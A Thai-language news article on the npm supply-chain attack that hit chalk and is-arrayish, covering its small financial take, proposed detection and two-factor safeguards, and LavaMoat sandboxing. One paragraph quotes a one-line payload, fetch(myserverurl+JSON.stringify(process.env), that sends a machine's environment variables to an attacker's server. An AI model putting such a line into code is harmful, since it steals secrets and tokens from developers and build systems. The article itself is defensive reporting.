การโจมตี Supply Chain ของ NPM เผยให้เห็นความจำเป็นในการรักษาความปลอดภัยของแพ็กเกจที่ดีขึ้น ขณะที่มัลแวร์ทำเงินได้เพียง 500 ดอลลาร์สหรัฐ

ทีมชุมชน BigGo
การโจมตี Supply Chain ของ NPM เผยให้เห็นความจำเป็นในการรักษาความปลอดภัยของแพ็กเกจที่ดีขึ้น ขณะที่มัลแวร์ทำเงินได้เพียง 500 ดอลลาร์สหรัฐ

การโจมตี supply chain ล่าสุดที่มุ่งเป้าไปยังแพ็กเกจ NPM ยอดนิยมได้เปิดเผยช่องโหว่ด้านความปลอดภัยที่ร้ายแรงในการพัฒนา JavaScript แม้ว่าผลกระทบทางการเงินจะยังคงอยู่ในระดับที่ต่ำอย่างน่าประหลาดใจ การโจมตีครั้งนี้ได้บุกรุกแพ็กเกจที่ใช้กันอย่างแพร่หลายหลายตัว รวมถึง is-arrayish และ chalk ซึ่งมีการดาวน์โหลดรวมกันหลายพันล้านครั้งต่อสัปดาห์ อย่างไรก็ตาม ผู้โจมตีสามารถขโมยเงินดิจิทัลได้เพียงประมาณ 500 ดอลลาร์สหรัฐ ซึ่งเน้นย้ำทั้งขนาดที่อาจเกิดขึ้นและข้อจำกัดในปัจจุบันของการโจมตีดังกล่าว

ผลกระทบทางการเงินจากการโจมตี:

  • จำนวนเงินดิจิทัลที่ถูกขโมยทั้งหมด: ประมาณ 500 ดอลลาร์สหรัฐ
  • ระยะเวลาการโจมตี: ไม่กี่ชั่วโมงก่อนที่จะถูกตรวจพบ
  • แพ็กเกจที่ได้รับผลกระทบ: is-arrayish, chalk และอื่นๆ
  • จำนวนการดาวน์โหลดรวมต่อสัปดาห์: 2-3 พันล้านครั้ง

ระบบตรวจจับต้องการการปรับปรุงครั้งใหญ่

ชุมชน JavaScript เรียกร้องให้มีการตรวจจับแพ็กเกจที่เป็นอันตรายโดยอัตโนมัติที่ดีขึ้น นักพัฒนาหลายคนแนะนำว่า NPM ควรใช้ระบบเพื่อตั้งค่าสถานะเตือนสำหรับการเผยแพร่ที่น่าสงสัย โดยเฉพาะอย่างยิ่งที่มีโค้ดที่ถูกปิดบังด้วยชื่อตัวแปรฐานสิบหกและการค้นหาอาร์เรย์ที่ผิดปกติ การตรวจสอบง่าย ๆ เช่น ความซับซ้อนต่อบรรทัดหรือความยาวบรรทัดสูงสุดจะสามารถจับการโจมตีครั้งนี้ได้ อย่างไรก็ตาม ความท้าทายอยู่ที่ลักษณะการไล่ล่าระหว่างแมวกับหนูของความปลอดภัย - ผู้เขียนมัลแวร์ปรับเทคนิคของพวกเขาอย่างต่อเนื่องเพื่อหลีกเลี่ยงระบบตรวจจับ

การโจมตีใช้วิธีการปิดบังที่ดิบซึ่งทำให้ตรวจจับได้ง่าย ผู้โจมตีที่มีความซับซ้อนมากขึ้นสามารถหลีกเลี่ยงสัญญาณเตือนที่ชัดเจนเช่นนี้ได้โดยการใช้ชื่อตัวแปรที่มีความหมายและโครงสร้างโค้ดที่สะอาดกว่า ทำให้การตรวจจับยากขึ้นอย่างมาก

ช่องโหว่การยืนยันตัวตนสองขั้นตอนยังคงเป็นปัญหาสำคัญ

การโจมตีประสบความสำเร็จบางส่วนเนื่องจากกลยุทธ์ phishing ที่หลีกเลี่ยงมาตรการรักษาความปลอดภัยที่มีอยู่ แม้ว่า NPM จะรองรับวิธีการยืนยันตัวตนที่แข็งแกร่งรวมถึงกุญแจฮาร์ดแวร์เช่น YubiKey แต่การใช้งานก็ไม่ได้มีความปลอดภัยสมบูรณ์ ชุมชนกำลังผลักดันให้มีการยืนยันตัวตนสองขั้นตอนที่ไม่สามารถถูก phish ได้และกระบวนการตรวจสอบที่ดีขึ้นสำหรับการเผยแพร่แพ็กเกจ

นักพัฒนาบางคนเสนอระบบตรวจสอบที่การเผยแพร่ต้องการการอนุมัติผ่านอีเมลภายในหนึ่งชั่วโมงหลังจากการเผยแพร่ ร่วมกับการยืนยันตัวตนสองขั้นตอนแยกต่างหาก คนอื่น ๆ แนะนำว่าการเผยแพร่อัตโนมัติควรใช้บริการที่คล้ายกับ PagerDuty ซึ่งต้องการการอนุมัติจากผู้ดูแลหลายคนที่มีอำนาจยับยั้ง

การปรับปรุงความปลอดภัย NPM ที่เสนอ:

  • การตรวจจับอัตโนมัติของรูปแบบโค้ดที่ถูกปิดบัง
  • การตรวจสอบความซับซ้อนต่อบรรทัดสำหรับรุ่นใหม่
  • การตรวจสอบความยาวสูงสุดของบรรทัด
  • ข้อกำหนดการยืนยันตัวตนสองขั้นตอนที่ไม่สามารถฟิชชิ่งได้
  • การยืนยันอีเมลพร้อมช่วงเวลาอนุมัติหนึ่งชั่วโมง
  • ระบบอนุมัติจากผู้ดูแลหลายคนสำหรับการเผยแพร่อัตโนมัติ

LavaMoat นำเสนอการป้องกันรันไทม์

เป็นการตอบสนองต่อช่องโหว่เหล่านี้ เครื่องมือเช่น LavaMoat กำลังได้รับความสนใจสำหรับการให้การป้องกันรันไทม์จากแพ็กเกจที่เป็นอันตราย LavaMoat ทำงานโดยการวางแต่ละ dependency ในช่องแยกต่างหากที่มีการเข้าถึงอ็อบเจ็กต์และ API ทั่วไปที่จำกัด วิธีการนี้สามารถป้องกันมัลแวร์จากการเข้าถึง browser API เช่น fetch หรือ window.ethereum.request แม้ว่ามันจะผ่านมาตรการรักษาความปลอดภัยอื่น ๆ ได้

เทคโนโลยีนี้สร้างระบบที่ใช้นโยบายที่แพ็กเกจสามารถเข้าถึงทรัพยากรที่พวกเขาต้องการอย่างชัดเจนเท่านั้น เมื่อโค้ดที่เป็นอันตรายพยายามเข้าถึง API ที่ไม่ได้รับอนุญาต มันจะไม่สามารถทำงานได้ ป้องกันแอปพลิเคชันโดยไม่ทำลายฟังก์ชันการทำงานที่ถูกต้อง

คุณสมบัติด้านความปลอดภัยของ LavaMoat :

  • การแยกแยะแบบ Compartment สำหรับแต่ละ dependency
  • การควบคุมการเข้าถึงแบบ Policy-driven สำหรับ global APIs
  • การป้องกันแบบ Runtime จากการโจมตี supply chain
  • การรวมเข้ากับ Webpack ผ่าน @lavamoat/webpack plugin
  • เทคโนโลยีเดียวกันที่ใช้ใน MetaMask browser extension

ความสำเร็จทางการเงินที่จำกัดเผยให้เห็นข้อจำกัดของการโจมตี

แม้จะส่งผลกระทบต่อแพ็กเกจที่มีจำนวนการดาวน์โหลดจำนวนมหาศาล การขโมยเงินดิจิทัลของผู้โจมตียังคงอยู่ในระดับน้อยที่ประมาณ 500 ดอลลาร์สหรัฐ ผลตอบแทนที่ต่ำนี้เกิดขึ้นด้วยเหตุผลหลายประการ: การโจมตีถูกค้นพบอย่างรวดเร็ว ผู้ให้บริการกระเป๋าเงินได้ขึ้นบัญชีดำที่อยู่ที่เป็นอันตรายอย่างรวดเร็ว และผู้ใช้หลายคนได้รับคำเตือนก่อนที่จะทำธุรกรรมให้เสร็จสิ้น

นี่เป็นการโจมตีแพ็กเกจ npm ที่ถูกต้องตามกฎหมายที่ลงเอยในเครื่องของนักพัฒนาหลายแสนเครื่องที่สร้างแอปพลิเคชันหลายหมื่นตัว fetch(myserverurl+JSON.stringify(process.env) จะมีกำไรมากกว่าหลายเท่าตัวสำหรับ payload

ความสำเร็จที่จำกัดแสดงให้เห็นว่าแม้ว่าการโจมตี supply chain จะก่อให้เกิดภัยคุกคามร้ายแรง มาตรการรักษาความปลอดภัยในปัจจุบันและความระมัดระวังของชุมชนสามารถลดผลกระทบได้อย่างมากเมื่อใช้อย่างเหมาะสม

ผลกระทบต่อระบบนิเวศที่กว้างขึ้น

เหตุการณ์นี้สะท้อนความท้าทายที่กว้างขึ้นใน software supply chain ที่ขยายไปเกิน JavaScript ช่องโหว่ที่คล้ายกันมีอยู่ใน package manager อื่น ๆ เช่น pip สำหรับ Python ที่สคริปต์การติดตั้งสามารถรันโค้ดใด ๆ บนเครื่องของนักพัฒนาได้เช่นกัน ขนาดของ NPM ทำให้มันเป็นเป้าหมายที่น่าสนใจ แต่ความท้าทายด้านความปลอดภัยพื้นฐานส่งผลกระทบต่อระบบนิเวศการพัฒนาสมัยใหม่ส่วนใหญ่

การโจมตีนี้เป็นการเตือนใจว่าการจัดการ dependency ต้องการความระมัดระวังอย่างต่อเนื่อง ในขณะที่เครื่องมือและกระบวนการยังคงปรับปรุงอยู่ นักพัฒนาต้องสร้างสมดุลระหว่างความสะดวกสบายกับความปลอดภัย โดยมักจะยอมรับความเสี่ยงบางอย่างเพื่อประโยชน์ด้านผลิตภาพที่ระบบนิเวศแพ็กเกจมอบให้

อ้างอิง: You too can run malware from NPM (I mean without consequences)